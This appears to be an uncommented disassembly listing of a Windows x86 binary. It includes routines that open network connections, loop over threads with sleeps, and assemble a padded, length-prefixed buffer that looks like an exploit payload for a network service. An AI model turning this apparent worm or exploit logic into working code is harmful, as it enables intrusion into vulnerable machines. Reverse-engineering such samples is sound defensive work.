add esp, 18h
lea eax, [ebp+var_28C]
push eax
lea eax, dword_43DCB0[ebx]
push eax
call sub_41B886
push [ebp+var_38]
push [ebp+var_3C]
push edi
call sub_40C087
add esp, 14h
cmp eax, 1
jnz loc_40C31D
cmp [ebp+var_20], 0FFFFFFFFh
jnz short loc_40C271
push offset dword_4CD0C0
nop
call near ptr 77F7E21Fh
push [ebp+var_3C]
push edi
call dword_4CB000
push eax
lea eax, [ebp+var_28C]
push offset unk_431A4C
push eax
call sub_41B886
add esp, 10h
cmp [ebp+var_14], 0
jnz short loc_40C253
cmp [ebp+var_C0], 0
push 1
push [ebp+var_18]
lea eax, [ebp+var_28C]
push eax
lea eax, [ebp+var_C0]
jnz short loc_40C247
lea eax, [ebp+var_140]
loc_40C247: ; CODE XREF: sub_40C124+11Bj
push eax
push [ebp+var_40]
call sub_409A72
add esp, 14h
loc_40C253: ; CODE XREF: sub_40C124+100j
lea eax, [ebp+var_28C]
push eax
call sub_4151AC
mov [esp+29Ch+var_29C], offset dword_4CD0C0
nop
call near ptr 77F7E300h
jmp loc_40C31D
; ---------------------------------------------------------------------------
loc_40C271: ; CODE XREF: sub_40C124+D0j
push edi
call dword_4CB000
push eax
lea eax, [ebp+var_208]
push eax
call sub_41B886
mov eax, [ebp+var_20]
pop ecx
shl eax, 6
pop ecx
add eax, offset aSym ; "sym"
push eax
lea eax, [ebp+var_178]
push eax
call sub_41B886
cmp [ebp+var_C0], 0
pop ecx
pop ecx
lea eax, [ebp+var_C0]
jnz short loc_40C2B6
lea eax, [ebp+var_140]
loc_40C2B6: ; CODE XREF: sub_40C124+18Aj
push eax
lea eax, [ebp+var_1F8]
push eax
call sub_41B886
mov eax, [ebp+var_40]
pop ecx
mov [ebp+var_20C], eax
mov eax, [ebp+var_18]
pop ecx
mov [ebp+var_15C], eax
mov eax, [ebp+var_14]
sub esp, 0BCh
mov [ebp+var_158], eax
mov eax, [ebp+var_3C]
push 2Fh
mov [ebp+var_16C], eax
mov eax, [ebp+var_20]
pop ecx
mov [ebp+var_168], esi
mov [ebp+var_164], eax
lea esi, [ebp+var_20C]
mov edi, esp
shl eax, 6
rep movsd
call off_43140C[eax]
mov esi, [ebp+var_4]
add esp, 0BCh
loc_40C31D: ; CODE XREF: sub_40C124+C6j
; sub_40C124+148j
push 7D0h
nop
call near ptr 26703BBh
jmp loc_40C16B
; ---------------------------------------------------------------------------
loc_40C32D: ; CODE XREF: sub_40C124+55j
push esi
call sub_40B412
pop ecx
push 0
call near ptr 26D0000h
nop
loc_40C33C: ; DATA XREF: sub_401ACD+1F81o
; sub_401ACD+5C48o
push ebp
mov ebp, esp
sub esp, 1CCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_14C]
push 1
pop ebx
rep movsd
mov [eax+144h], ebx
lea eax, [ebp+var_14C]
push eax
call dword_4CAFB4
mov ecx, [ebp+var_2C]
sub esp, 14Ch
lea esi, [ebp+var_14C]
push 53h
mov dword_4CB0C0[ecx*8], eax
pop ecx
mov edi, esp
rep movsd
call sub_40BACD
push 0Bh
call sub_40B33E
add esp, 150h
cmp eax, ebx
jnz short loc_40C40A
mov esi, offset dword_4CD0C0
push esi
nop
call near ptr 26D0688h
push 80000400h
push esi
nop
call near ptr 26D0554h
test eax, eax
jnz short loc_40C40A
lea eax, [ebp+var_1CC]
push offset unk_431B58
push eax
call sub_41B886
xor ebx, ebx
pop ecx
cmp [ebp+var_10], ebx
pop ecx
jnz short loc_40C3F4
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_409A72
add esp, 14h
loc_40C3F4: ; CODE XREF: sub_40C124+2B1j
lea eax, [ebp+var_1CC]
push eax
call sub_4151AC
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_40C40A: ; CODE XREF: sub_40C124+27Bj
; sub_40C124+297j
mov eax, [ebp+var_2C]
mov esi, dword_427078
mov edi, ebx
mov dword_4CB0C4[eax*8], ebx
xor ebx, ebx
cmp [ebp+var_20], 1
jb loc_40C4D7
loc_40C428: ; CODE XREF: sub_40C124+3ADj
push edi
lea eax, [ebp+var_14C]
push [ebp+var_2C]
mov [ebp+var_24], edi
push [ebp+var_38]
push eax
lea eax, [ebp+var_1CC]
push offset unk_431B24
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_1CC]
push 0Bh
push eax
call sub_40B0F6
mov [ebp+var_28], eax
imul eax, 234h
mov ecx, [ebp+var_2C]
add esp, 24h
mov dword_43DEB4[eax], ecx
lea eax, [ebp+var_14C]
push ebx
push ebx
push eax
push offset sub_40C124
push ebx
push ebx
call near ptr 267042Eh
nop
mov ecx, [ebp+var_28]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_40C4A2
loc_40C497: ; CODE XREF: sub_40C124+37Cj
cmp [ebp+var_4], ebx
jnz short loc_40C4C9
push 1Eh
call esi
jmp short loc_40C497
; ---------------------------------------------------------------------------
loc_40C4A2: ; CODE XREF: sub_40C124+371j
nop
call near ptr 2670D70h
push eax
lea eax, [ebp+var_1CC]
push offset unk_431AEC
push eax
call sub_41B886
lea eax, [ebp+var_1CC]
push eax
call sub_4151AC
add esp, 10h
loc_40C4C9: ; CODE XREF: sub_40C124+376j
push 1Eh
call esi
inc edi
cmp edi, [ebp+var_20]
jbe loc_40C428
loc_40C4D7: ; CODE XREF: sub_40C124+2FEj
cmp [ebp+var_30], ebx
jz loc_40C581
mov eax, [ebp+var_30]
imul eax, 0EA60h
push eax
call esi
loc_40C4EC: ; CODE XREF: sub_40C124+468j
push [ebp+var_30]
mov eax, [ebp+var_2C]
push [ebp+var_38]
mov eax, dword_4CB0C0[eax*8]
push eax
call dword_4CB000
push eax
lea eax, [ebp+var_1CC]
push offset unk_431AAC
push eax
call sub_41B886
add esp, 14h
cmp [ebp+var_10], ebx
jnz short loc_40C53A
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_409A72
add esp, 14h
loc_40C53A: ; CODE XREF: sub_40C124+3F7j
lea eax, [ebp+var_1CC]
push eax
call sub_4151AC
mov eax, [ebp+var_2C]
mov [esp+29Ch+var_29C], 0BB8h
mov dword_4CB0C4[eax*8], ebx
call esi
push 0Bh
call sub_40B33E
cmp eax, 1
pop ecx
jnz short loc_40C571
push offset dword_4CD0C0
call near ptr 26D0688h
nop
loc_40C571: ; CODE XREF: sub_40C124+440j
push [ebp+var_2C]
call sub_40B412
pop ecx
push ebx
nop
call near ptr 26D0000h
loc_40C581: ; CODE XREF: sub_40C124+3B6j
; sub_40C124+475j
mov eax, [ebp+var_2C]
cmp dword_4CB0C4[eax*8], 1
jnz loc_40C4EC
push 7D0h
call esi
jmp short loc_40C581
sub_40C124 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C59B proc near
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0BCh
mov eax, [ebp+arg_0]
push esi
push edi
push 2Bh
pop ecx
mov esi, eax
lea edi, [ebp+var_BC]
push 1
rep movsd
pop esi
mov [eax+0A8h], esi
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41B590
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_38]
call dword_4CAF74
mov [ebp+var_E], ax
mov eax, [ebp+var_28]
push 6
push esi
push 2
mov [ebp+var_C], eax
call dword_4CAFF4
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40C659
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_4CAF1C
mov ecx, [ebp+var_2C]
imul ecx, 234h
cmp eax, 0FFFFFFFFh
mov dword_43DEBC[ecx], esi
jz short loc_40C659
push [ebp+var_38]
push [ebp+var_28]
call dword_4CB000
push eax
mov edi, offset dword_4CDA84
push offset dword_431B8C
push edi
call sub_41B886
push 0
lea eax, [ebp+var_B8]
push [ebp+var_20]
push edi
push eax
push [ebp+var_BC]
call sub_409A72
push edi
call sub_4151AC
add esp, 28h
loc_40C659: ; CODE XREF: sub_40C59B+5Dj
; sub_40C59B+7Ej
push esi
call dword_4CB00C
pop edi
xor eax, eax
pop esi
leave
retn 4
sub_40C59B endp
; ---------------------------------------------------------------------------
dword_40C668 dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh
; DATA XREF: sub_401ACD+603Eo
dd 0FF4CBD8Dh, 0A5F3FFFFh, 7078358Bh, 83C70042h, 0A4h
dd 1, 75FFFF33h, 0E075FFD0h, 0B00015FFh, 8D50004Ch, 0FFFECC85h
dd 1BB468FFh, 0E8500043h, 0F1D2h, 0FECC858Dh, 0FF68FFFFh
dd 50000001h, 69DC458Bh, 234C0h, 0DCB00500h, 0E8500043h
dd 0EF1Ch, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh
dd 40C59Bh, 0E8905757h, 2263D3Eh, 4589C73Bh, 390B74FCh
dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 82E890FCh, 0FF022442h
dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah
dd 0E8500845h, 0FBE8h, 0FF0CC483h, 15FF0875h, 4CAE9Ch
dd 45895040h, 7015FF08h, 89004CAFh, 458D0845h, 50046A08h
dd 50E0458Dh, 0FBBFE8h, 0CC48300h, 0FFFF3DE9h
db 0FFh
byte_40C759 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+5D4Eo
dd 130EC81h, 8B530000h, 5756085Dh, 0F38B2B6Ah, 50BD8D59h
dd 0F3FFFFFFh, 78358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h
dd 75FFD475h, 15FFE4h, 50004CB0h, 0FED0858Dh, 868FFFFh
dd 5000431Ch, 0F0E1E8h, 0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h
dd 234C069h, 0B0050000h, 500043DCh, 0EE2BE8h, 1CC48300h
dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40C59B68h, 0E8575700h
dd 2263C4Eh, 89C73B90h, 0B740845h, 75F87D39h, 0FF326A06h
dd 0FFF5EBD6h, 0E8900875h, 2244191h, 8CB3FFh, 0BB890000h
dd 0A8h, 458BD6FFh, 0D8453BD4h, 45FF0874h, 0FF6DE9D4h
dd 75FFFFFFh, 15FFE4h, 50004CB0h, 0FED0858Dh, 0DC68FFFFh
dd 5000431Bh, 0F051E8h, 858D5700h, 0FFFFFED0h, 50EC75FFh
dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 0D220E8FFh, 75FFFFFFh
dd 0EBB8E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh
db 4, 0
; =============== S U B R O U T I N E =======================================
sub_40C866 proc near ; CODE XREF: sub_40CADA+Ep
; sub_40CADA+33p ...
mov eax, ecx
and dword ptr [eax+4], 0
and dword ptr [eax], 0
retn
sub_40C866 endp
; =============== S U B R O U T I N E =======================================
sub_40C870 proc near ; CODE XREF: sub_40CADA+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push esi
push edi
mov esi, ecx
push ebx
call sub_41B4D5
mov edi, eax
pop ecx
test edi, edi
jz short loc_40C8A2
push ebx
push 0
push edi
call sub_41B590
push ebx
push [esp+1Ch+arg_0]
push edi
call sub_41C310
add esp, 18h
mov [esi+4], ebx
mov [esi], edi
loc_40C8A2: ; CODE XREF: sub_40C870+14j
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40C870 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C8AA proc near ; CODE XREF: sub_40C9A4+18p
; sub_40CA1E+16p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, ecx
push esi
mov ecx, [ebp+arg_C]
push edi
lea edi, [eax+ecx]
push edi
call sub_41B4D5
mov esi, eax
pop ecx
test esi, esi
jz short loc_40C8F6
push edi
push 0
push esi
call sub_41B590
push [ebp+arg_4]
push [ebp+arg_0]
push esi
call sub_41C310
push [ebp+arg_C]
mov eax, [ebp+arg_4]
add eax, esi
push [ebp+arg_8]
push eax
call sub_41C310
add esp, 24h
mov [ebx+4], edi
mov [ebx], esi
loc_40C8F6: ; CODE XREF: sub_40C8AA+1Cj
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn 10h
sub_40C8AA endp
; =============== S U B R O U T I N E =======================================
sub_40C8FF proc near ; CODE XREF: sub_40C9A4+5Ep
; sub_40C9A4+6Fp ...
push esi
mov esi, ecx
mov eax, [esi]
test eax, eax
jz short loc_40C90F
push eax
call sub_41B0B1
pop ecx
loc_40C90F: ; CODE XREF: sub_40C8FF+7j
and dword ptr [esi+4], 0
and dword ptr [esi], 0
pop esi
retn
sub_40C8FF endp
; =============== S U B R O U T I N E =======================================
sub_40C918 proc near ; CODE XREF: sub_40C9A4+20p
; sub_40CA7F+8p ...
push ebx
push esi
mov esi, ecx
push edi
mov eax, [esi+4]
cmp eax, 0FFFFh
jge short loc_40C945
xor ebx, ebx
cmp eax, 7Fh
setnl bl
dec ebx
and ebx, 0FFFFFFFEh
add ebx, 3
add eax, ebx
push eax
call sub_41B4D5
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40C949
loc_40C945: ; CODE XREF: sub_40C918+Dj
xor al, al
jmp short loc_40C9A0
; ---------------------------------------------------------------------------
loc_40C949: ; CODE XREF: sub_40C918+2Bj
mov eax, ebx
add eax, [esi+4]
push eax
push 0
push edi
call sub_41B590
add esp, 0Ch
cmp ebx, 1
jnz short loc_40C96E
mov al, [esi+4]
mov [edi], al
push dword ptr [esi+4]
lea eax, [edi+1]
push dword ptr [esi]
jmp short loc_40C988
; ---------------------------------------------------------------------------
loc_40C96E: ; CODE XREF: sub_40C918+45j
mov byte ptr [edi], 82h
mov eax, [esi+4]
sar eax, 8
mov [edi+1], al
mov al, [esi+4]
mov [edi+2], al
push dword ptr [esi+4]
lea eax, [edi+3]
push dword ptr [esi]
loc_40C988: ; CODE XREF: sub_40C918+54j
push eax
call sub_41C310
add esp, 0Ch
push dword ptr [esi]
call sub_41B0B1
add [esi+4], ebx
pop ecx
mov [esi], edi
mov al, 1
loc_40C9A0: ; CODE XREF: sub_40C918+2Fj
pop edi
pop esi
pop ebx
retn
sub_40C918 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C9A4 proc near ; CODE XREF: sub_40CADA+89p
; sub_40CADA+E3p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push edi
lea ecx, [ebp+var_8]
push dword ptr [esi+4]
push dword ptr [esi]
push 1
push offset dword_4CAE2C
call sub_40C8AA
lea ecx, [ebp+var_8]
call sub_40C918
mov eax, [ebp+var_4]
inc eax
push eax
call sub_41B4D5
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40C9DE
xor al, al
jmp short loc_40CA1A
; ---------------------------------------------------------------------------
loc_40C9DE: ; CODE XREF: sub_40C9A4+34j
mov eax, [ebp+var_4]
inc eax
push eax
push 0
push edi
call sub_41B590
mov byte ptr [edi], 3
push [ebp+var_4]
lea eax, [edi+1]
push [ebp+var_8]
push eax
call sub_41C310
add esp, 18h
mov ecx, esi
call sub_40C8FF
mov eax, [ebp+var_4]
lea ecx, [ebp+var_8]
inc eax
mov [esi], edi
mov [esi+4], eax
call sub_40C8FF
mov al, 1
loc_40CA1A: ; CODE XREF: sub_40C9A4+38j
pop edi
pop esi
leave
retn
sub_40C9A4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CA1E proc near ; CODE XREF: sub_40CA52+14p
; sub_40CA6F+8p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push [ebp+arg_4]
lea ecx, [ebp+var_8]
push [ebp+arg_0]
push dword ptr [esi+4]
push dword ptr [esi]
call sub_40C8AA
mov ecx, esi
call sub_40C8FF
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
pop esi
leave
retn 8
sub_40CA1E endp
; =============== S U B R O U T I N E =======================================
sub_40CA52 proc near ; CODE XREF: sub_40CADA+F0p
; sub_40CADA+15Bp ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_41AFE0
pop ecx
push eax
mov ecx, esi
push [esp+8+arg_0]
call sub_40CA1E
pop esi
retn 4
sub_40CA52 endp
; =============== S U B R O U T I N E =======================================
sub_40CA6F proc near ; CODE XREF: sub_40CABB+Bp
; sub_40CADA+1A1p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_40CA1E
retn 8
sub_40CA6F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CA7F proc near ; CODE XREF: sub_40CABB+16p
; sub_40CADA+91p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
call sub_40C918
test al, al
jz short loc_40CAB8
push dword ptr [esi+4]
lea ecx, [ebp+var_8]
push dword ptr [esi]
push 1
push offset dword_42C8E8
call sub_40C8AA
mov ecx, esi
call sub_40C8FF
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
loc_40CAB8: ; CODE XREF: sub_40CA7F+Fj
pop esi
leave
retn
sub_40CA7F endp
; =============== S U B R O U T I N E =======================================
sub_40CABB proc near ; CODE XREF: sub_40CADA+134p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_40CA6F
test al, al
jz short loc_40CAD6
mov ecx, esi
call sub_40CA7F
loc_40CAD6: ; CODE XREF: sub_40CABB+12j
pop esi
retn 8
sub_40CABB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CADA proc near ; CODE XREF: ___:0040D361p
var_858 = byte ptr -858h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 858h
push ebx
push edi
lea ecx, [ebp+var_48]
call sub_40C866
mov edi, 408h
cmp [ebp+arg_8], edi
jg loc_40CE2E
mov ebx, [ebp+arg_10]
lea eax, [ebx+8]
cmp eax, edi
ja loc_40CE2E
push esi
lea ecx, [ebp+var_30]
call sub_40C866
lea ecx, [ebp+var_20]
call sub_40C866
lea ecx, [ebp+var_50]
call sub_40C866
lea ecx, [ebp+var_18]
call sub_40C866
lea ecx, [ebp+var_40]
call sub_40C866
lea ecx, [ebp+var_38]
call sub_40C866
lea ecx, [ebp+var_28]
call sub_40C866
push 4
push offset dword_431C40
lea ecx, [ebp+var_30]
call sub_40CA1E
push 3
push offset dword_431C48
lea ecx, [ebp+var_30]
call sub_40CA1E
lea ecx, [ebp+var_30]
call sub_40C9A4
lea ecx, [ebp+var_30]
call sub_40CA7F
mov esi, 800h
lea eax, [ebp+var_858]
push esi
push 42h
push eax
call sub_41B590
add esp, 0Ch
lea ecx, [ebp+var_20]
push 8
push offset aRbrbrbrb ; "░B░B░B░B"
call sub_40CA1E
push ebx
lea ecx, [ebp+var_20]
push [ebp+arg_C]
call sub_40CA1E
mov eax, 409h
lea ecx, [ebp+var_20]
sub eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_858]
push eax
call sub_40CA1E
lea ecx, [ebp+var_20]
call sub_40C9A4
push offset loc_431FC4
lea ecx, [ebp+var_50]
call sub_40CA52
lea ecx, [ebp+var_50]
call sub_40C9A4
push esi
lea eax, [ebp+var_858]
push 44h
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_58]
push 410h
push eax
call sub_40C870
lea ecx, [ebp+var_58]
call sub_40C9A4
push [ebp+var_54]
lea ecx, [ebp+var_50]
push [ebp+var_58]
call sub_40CABB
lea ecx, [ebp+var_58]
call sub_40C8FF
push esi
lea eax, [ebp+var_858]
push 43h
push eax
call sub_41B590
add esp, 0Ch
push offset aCccc ; "CCCC"
lea ecx, [ebp+var_18]
call sub_40CA52
push 4
push offset dword_431C4C
lea ecx, [ebp+var_18]
call sub_40CA1E
push [ebp+arg_8]
lea ecx, [ebp+var_18]
push [ebp+arg_4]
call sub_40CA1E
sub edi, [ebp+arg_8]
lea eax, [ebp+var_858]
lea ecx, [ebp+var_18]
push edi
push eax
call sub_40CA1E
lea ecx, [ebp+var_18]
call sub_40C9A4
push [ebp+var_14]
lea ecx, [ebp+var_40]
push [ebp+var_18]
call sub_40CA6F
push [ebp+var_4C]
lea ecx, [ebp+var_40]
push [ebp+var_50]
call sub_40CA6F
lea ecx, [ebp+var_40]
call sub_40CA7F
lea ecx, [ebp+var_18]
call sub_40C8FF
lea ecx, [ebp+var_50]
call sub_40C8FF
push [ebp+var_1C]
lea ecx, [ebp+var_38]
push [ebp+var_20]
call sub_40CA6F
push [ebp+var_2C]
lea ecx, [ebp+var_38]
push [ebp+var_30]
call sub_40CA6F
push [ebp+var_3C]
lea ecx, [ebp+var_38]
push [ebp+var_40]
call sub_40CA6F
lea ecx, [ebp+var_38]
call sub_40CA7F
lea ecx, [ebp+var_20]
call sub_40C8FF
lea ecx, [ebp+var_30]
call sub_40C8FF
lea ecx, [ebp+var_40]
call sub_40C8FF
push esi
lea eax, [ebp+var_858]
push 41h
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_28]
push 400h
push eax
call sub_40CA1E
lea ecx, [ebp+var_28]
call sub_40C9A4
push 2
push offset dword_431FB8
lea ecx, [ebp+var_28]
call sub_40CA1E
push [ebp+var_34]
lea ecx, [ebp+var_28]
push [ebp+var_38]
call sub_40CA6F
lea ecx, [ebp+var_28]
call sub_40CA7F
lea ecx, [ebp+var_38]
call sub_40C8FF
lea ecx, [ebp+var_10]
call sub_40C866
lea ecx, [ebp+var_8]
call sub_40C866
push [ebp+var_24]
lea ecx, [ebp+var_10]
push [ebp+var_28]
call sub_40CA6F
lea ecx, [ebp+var_10]
call sub_40C918
lea ecx, [ebp+var_28]
call sub_40C8FF
push offset dword_431FB4
lea ecx, [ebp+var_8]
call sub_40CA52
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40CA6F
lea ecx, [ebp+var_8]
call sub_40C918
lea ecx, [ebp+var_10]
call sub_40C8FF
push offset dword_431FB0
lea ecx, [ebp+var_10]
call sub_40CA52
push [ebp+var_4]
lea ecx, [ebp+var_10]
push [ebp+var_8]
call sub_40CA6F
lea ecx, [ebp+var_10]
call sub_40C918
lea ecx, [ebp+var_8]
call sub_40C8FF
push offset dword_431FA4
lea ecx, [ebp+var_8]
call sub_40CA52
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40CA6F
lea ecx, [ebp+var_8]
call sub_40C918
lea ecx, [ebp+var_10]
call sub_40C8FF
push (offset loc_431F9F+1)
lea ecx, [ebp+var_48]
call sub_40CA52
push [ebp+var_4]
lea ecx, [ebp+var_48]
push [ebp+var_8]
call sub_40CA6F
lea ecx, [ebp+var_8]
call sub_40C8FF
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
pop esi
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
jmp short loc_40CE3C
; ---------------------------------------------------------------------------
loc_40CE2E: ; CODE XREF: sub_40CADA+1Bj
; sub_40CADA+29j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
loc_40CE3C: ; CODE XREF: sub_40CADA+352j
pop edi
pop ebx
leave
retn
sub_40CADA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CE40 proc near ; CODE XREF: sub_40CF04+A1p
; sub_40CF04+C2p ...
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push esi
push edi
mov esi, [ebp+arg_0]
push 1
pop edi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_210]
and [ebp+var_4], 0
push eax
lea eax, [ebp+var_10C]
push 0
push eax
lea eax, [esi+1]
push eax
mov [ebp+var_108], esi
mov [ebp+var_10C], edi
mov [ebp+var_20C], esi
mov [ebp+var_210], edi
mov [ebp+var_8], 0Ah
nop
call near ptr 71AB1890h
cmp eax, edi
jnz short loc_40CEA7
lea eax, [ebp+var_10C]
push eax
push esi
call sub_426756
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_40CEAB
loc_40CEA7: ; CODE XREF: sub_40CE40+54j
xor eax, eax
jmp short loc_40CEBB
; ---------------------------------------------------------------------------
loc_40CEAB: ; CODE XREF: sub_40CE40+65j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call dword_4CAF8C
loc_40CEBB: ; CODE XREF: sub_40CE40+69j
pop edi
pop esi
leave
retn
sub_40CE40 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CEBF proc near ; CODE XREF: sub_40CF04+81p
; sub_40CF04+ABp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_8]
call dword_4CAF70
mov [ebp+var_4], eax
push 0
lea eax, [ebp+var_4]
push 4
push eax
push [ebp+arg_0]
call dword_4CAFC4
cmp eax, 4
jz short loc_40CEE9
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40CEE9: ; CODE XREF: sub_40CEBF+24j
push 0
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_4CAFC4
sub eax, [ebp+arg_8]
neg eax
sbb eax, eax
inc eax
leave
retn
sub_40CEBF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CF04 proc near ; CODE XREF: sub_40CFDE+48p
; ___:0040D452p
var_104 = byte ptr -104h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 104h
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea ebx, [edi+41h]
push ebx
mov [ebp+var_4], ebx
call sub_41B4D5
mov esi, eax
pop ecx
test esi, esi
jnz short loc_40CF2D
xor al, al
jmp loc_40CFD9
; ---------------------------------------------------------------------------
loc_40CF2D: ; CODE XREF: sub_40CF04+20j
push ebx
push 0
push esi
call sub_41B590
push 2Fh
push offset dword_431CDC
push esi
call sub_41C310
push 8
lea eax, [esi+31h]
push offset dword_431D0C
push eax
mov [esi+2Fh], di
call sub_41C310
push edi
lea ebx, [esi+3Bh]
push [ebp+arg_4]
mov [esi+39h], di
push ebx
call sub_41C310
push 6
add ebx, edi
push offset dword_4CDC8C
push ebx
call sub_41C310
mov ebx, [ebp+arg_0]
push 85h
push offset dword_431C54
push ebx
call sub_40CEBF
add esp, 48h
test al, al
jnz short loc_40CF95
loc_40CF91: ; CODE XREF: sub_40CF04+B5j
xor bl, bl
jmp short loc_40CFD0
; ---------------------------------------------------------------------------
loc_40CF95: ; CODE XREF: sub_40CF04+8Bj
mov edi, 100h
push 0
lea eax, [ebp+var_104]
push edi
push eax
push ebx
call sub_40CE40
push [ebp+var_4]
push esi
push ebx
call sub_40CEBF
add esp, 1Ch
test al, al
jz short loc_40CF91
push 0
lea eax, [ebp+var_104]
push edi
push eax
push ebx
call sub_40CE40
add esp, 10h
mov bl, 1
loc_40CFD0: ; CODE XREF: sub_40CF04+8Fj
push esi
call sub_41B0B1
pop ecx
mov al, bl
loc_40CFD9: ; CODE XREF: sub_40CF04+24j
pop edi
pop esi
pop ebx
leave
retn
sub_40CF04 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CFDE proc near ; CODE XREF: ___:0040D438p
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
